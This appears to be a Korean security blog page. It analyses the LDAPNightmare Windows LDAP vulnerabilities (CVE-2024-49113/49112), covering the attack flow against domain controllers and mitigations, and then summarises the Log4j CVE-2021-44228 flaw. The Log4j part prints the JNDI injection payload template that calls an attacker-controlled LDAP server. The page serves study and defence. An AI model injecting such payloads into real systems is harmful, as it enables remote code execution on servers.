1. 개요

- 도메인 컨트롤러를 대상으로 시스템 충돌과 재부팅을 유발할 수 있는 취약점 LDAPNightmare 발견 [1]
- 서비스 거부 취약점 CVE-2024-49113과 정수 오버플로를 통한 원격 코드 실행 취약점 CVE-2024-49112
- Windows 서버를 대상으로 한 심각한 보안 위협이 되고 있어 가능한 한 빨리 '24.12 보안 업데이트 적용 필요

 

1.1 LDAP(Lightweight Directory Access Protocol)

- 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보 등을 찾아보는 것을 가능하게 만든 소프트웨어 프로토콜로 389 포트 사용 [2][3]

> 디렉토리 서비스 표준인 X.500의 DAP(Directory Access Protocol)를 기반으로한 경량화(Lightweight)된 버전으로 서버-클라이언트 구조

※ 디렉토리 서비스란 이름을 기준으로 대상을 찾아 조회하거나 편집할 수 있는 서비스

2. 취약점

2.1 CVE-2024-49113

[사진 1] CVE-2024-49113 [4]

- Windows LDAP 프로토콜에서 발생하는 서비스 거부 취약점

> 공격자가 조작된 CLDAP 요청을 보내 LSASS 프로세스를 충돌시켜 서버 재부팅을 유발할 수 있음

CLDAP (Connection-less Lightweitght Directory Access Protocol)
- LDAP의 한 종류로, UDP/389포트를 사용 (LDAP는 TCP 사용)
- LDAP 대비 응답 시간이 빠르고 오버헤드가 낮으나, 데이터 손실이 발생 가능
※ UDP의 특성상 송신 IP를 확인하지 않고, 응답 패킷이 요청 패킷보다 훨씬 커 DRDoS 공격에 사용됨 (평균 50~86배 정도 증폭)

LSASS (Local Security Authority Subsystem Service)
- Windows 운영체제에서 시스템의 보안 정책을 강화를 위한 윈도우의 프로세스
> 윈도우 시스템에 로그인하려는 사용자의 유효성을 판단
> 사용자 비밀번호 저장 및 관리, 비밀번호 변경 요청 처리
> 인증된 사용자에게 시스템 자원에 접근할 수 있는 권한을 부여하는 액세스 토큰을 생성
> 시스템 보안 관련 이벤트를 기록하며, 시스템의 보안 정책을 적용 및 관리
※ 시스템의 모든 사용자 자격 증명을 저장하고 관리하기 때문에 공격자의 주요 목표 중 하나이며, Mimikatz 등의 공격 도구 존재

 

- 공격과정

① 공격자는 피해자 DC에 DCE/RPC 요청을 전송

- 공격자가 제어하는 LDAP 서버를 쿼리하도록 조작된 DCE/RPC 요청을 전송

> RPC 메소드 중 DsrGetDcNameEx2 메소드는 도메인 컨트롤러의 LDAP 서버 정보를 반환하기 위해 설계된 RPC 호출임

 

- DsrGetDcNameEx2 메소드의 매개변수 중 DomainName을 공격자가 제어하는 DNS 서버로 조작하여 요청 전송

> DomainName이 특정 도메인 또는 사이트를 가리킬 때, 자동으로 해당 도메인에 대한 LDAP DNS SRV 쿼리를 생성

> DNS는 공격자가 제어하는 LDAP 서버의 호스트 네임과 LDAP 포트 정보 응답

[사진 2] DsrGetDcNameEx2 메소드 매개변수 및 설명 [5]

- DC (Domain Controller) : 로그인, 이용권한 확인, 새로운 사용자 등록, 암호 변경 등을 처리하는 기능을 하는 서버 컴퓨터
- DCE/RPC (Distributed Computing Environment/Remote Procedure Calls) : 분산 컴퓨팅 환경(DCE)에서 원격 프로시저 호출(RPC)을 구현하기 위한 프로토콜
- DNS SRV (Service Resource Record) : 특정 서비스에 대해 도메인 이름을 기반으로 연결할 수 있는 호스트 및 포트 정보를 제공하는 DNS 레코드 유형

② NBNS 요청 및 응답

- LDAP 서버의 호스트네임과 포트 정보를 수신한 피해자는 LDAP 서버에 대한 NBNS 쿼리를 수행

> 호스트네임에 대응하는 LDAP 서버의 IP 주소(공격자가 제어하는 LDAP 서버 IP) 응답

- NetBIOS (Network Basic Input/Output System) : 윈도우 네트워크에 사용되는 컴퓨터 이름 [6]
- NBNS (NetBIOS Name Service) : NetBIOS 네트워크 상에서 호스트 이름을 IP 주소로 해석하기 위해 사용되는 프로토콜 [7]

③ 조작된 CLDAP 응답으로 시스템 재부팅 유도

- 피해자 DC는 공격자의 LDAP 서버에 CLDAP 요청을 전송

> 공격자는 LDAP 참조(referral) 결과 코드와 함께 조작된 lm_referral 값을 포함한 조작된 CLDAP 응답 전송

> 조작된 lm_referral 값에 의해 범위를 벗어난 읽기와 LSASS를 충돌이 발생하고 시스템 재부팅을 유도할 수 있음

※ 관련 PoC [8]

lm_referral 값 - LDAP 클라이언트가 참조 테이블에서 메모리 접근을 수행할 때 사용
- 참조 테이블에 액세스하는지 여부를 결정하는 조건은 lm_referral 값이 0이 아닌지 확인
- 0이 아닌 값은 참조 테이블의 오프셋으로 사용되어 메모리 접근이 시도
- 공격자는 해당 값을 조작해 클라이언트가 잘못된 메모리 위치를 참조하도록 유도

[사진 3] 공격 과정 요약

2.2 CVE-2024-49112

[사진 4] CVE-2024-49112 [9]

- Windows LDAP 프로토콜에서 발생하는 원격 코드 실행 취약점 (CVSS: 9.8)

> CLDAP 패킷을 변조하여 LDAP 서비스에서 임의 코드를 실행할 수 있음

 

<<내용 추가 예정>>

 

3. 대응방안

- MS 12월 보안 위협에 따른 정기 보안 업데이트 적용 [10]

> 즉시 패치가 어려운 경우 권고 사항

① 악성 값이 설정된 CLDAP 참조 응답을 모니터링
② 비정상적인 DsrGetDcNameEx2 호출을 탐지
③ 도메인 컨트롤러를 대상으로 하는 의심스러운 DNS SRV 조회를 감지

4. 참고

[1] https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-cve-2024-49113/
[2] https://yongho1037.tistory.com/796
[3] https://hec-ker.tistory.com/319
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-49113
[5] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620
[6] http://www.ktword.co.kr/test/view/view.php?m_temp1=319&id=452
[7] https://wiki.wireshark.org/NetBIOS/NBNS
[8] https://github.com/SafeBreach-Labs/CVE-2024-49113
[9] https://nvd.nist.gov/vuln/detail/CVE-2024-49112
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71606
[11] https://www.dailysecu.com/news/articleView.html?idxno=162699

[12] https://www.boannews.com/media/view.asp?idx=135499&page=1&kind=1

 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

2021년 말 역사상 최악의 보안 취약점이 발견되었다.
해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다.
대부분의 기업 및 기관이 Log4j를 사용하기에 역사상 최악의 보안 취약점이라 불린다.
현재는 취약점이 패치가 된 상태이며, 개인 공부 및 정리 목적으로 관련 내용을 정리하려 한다.

1. Log4j 취약점(CVE-2021-44228)

[캡쳐 1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 번역

cve.mitre.org(https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)에 따르면 해당 취약점은
일부 취약한 Log4j의 JNDI 기능으로 인해 공격자가 제어하는 LDAP 및 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것

2. 취약점에 이용되는 기능

해당 취약점은 Log4j, JNDI, LDAP 3가지 기능을 악용하는 것으로 해당 기능에 대한 이해가 필요하다.

2-1) Log4j

[캡쳐 2] https://wooncloud.tistory.com/65
[캡쳐 3]&amp;nbsp;https://wooncloud.tistory.com/65

즉, Log4j는 아파치 소프트웨어 재단에서 제공하는 로그 레벨 설정 및 해당 로그를 기록하기 위한 자바 기반 로깅 유틸리티이다.

2-2) JNDI(Java Naming and Directory Interface API)

[캡쳐 4] https://deviscreen.tistory.com/123

디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API로
디렉터리 서비스를 이용하기 위한 API 정도로 정리할 수 있을 것 같다.

* 참고 디렉터리 서비스란?
컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어
즉, 네트워크에 분산된 자원을 디렉터리 형식으로 관리하며, 디렉터리 내 정보의 검색, 변경, 추가, 삭제 등의 기능을 제공

2-3) LDAP(Lightweight Directory Access Protocol)

[캡쳐 5] https://www.samsungsds.com/kr/insights/ldap.html

TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜로, 389 포트(SSL 기반 LDAP는 636)를 사용한다.
즉, 디렉터리 서비스를 사용하기위한 프로토콜이다.

3. 최종정리

즉, Log4j 취약점은 다음과 같이 정리할 수 있을 것 같다.
Log4j 유틸리티는 JNDI 디렉터리 서비스를 사용하기위해 LDAP를 사용하는데 공격자는 이를 악한다.

 

● 내용추가

- Java 프로그램들은 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있음

> URL ldap://localhost:389/o=JNDITutorial를 이용해 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있음

 

- Log4j에서는 편리한 사용을 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게하는 문법이 존재

> ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있음

 

- 해당 문법은 로그가 기록될 때에도 적용이 가능하여 공격자가 로그에 기록되는 곳을 찾아 익스플로잇 진행

> 공격자는 ${jndi:ldap://공격아이피:1389/실행명령} 입력

> 해당 값을 로그로 기록하는 과정에서 문법이 실행되어 공격자의 서버에 접근하게 되는 것

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15

+ Recent posts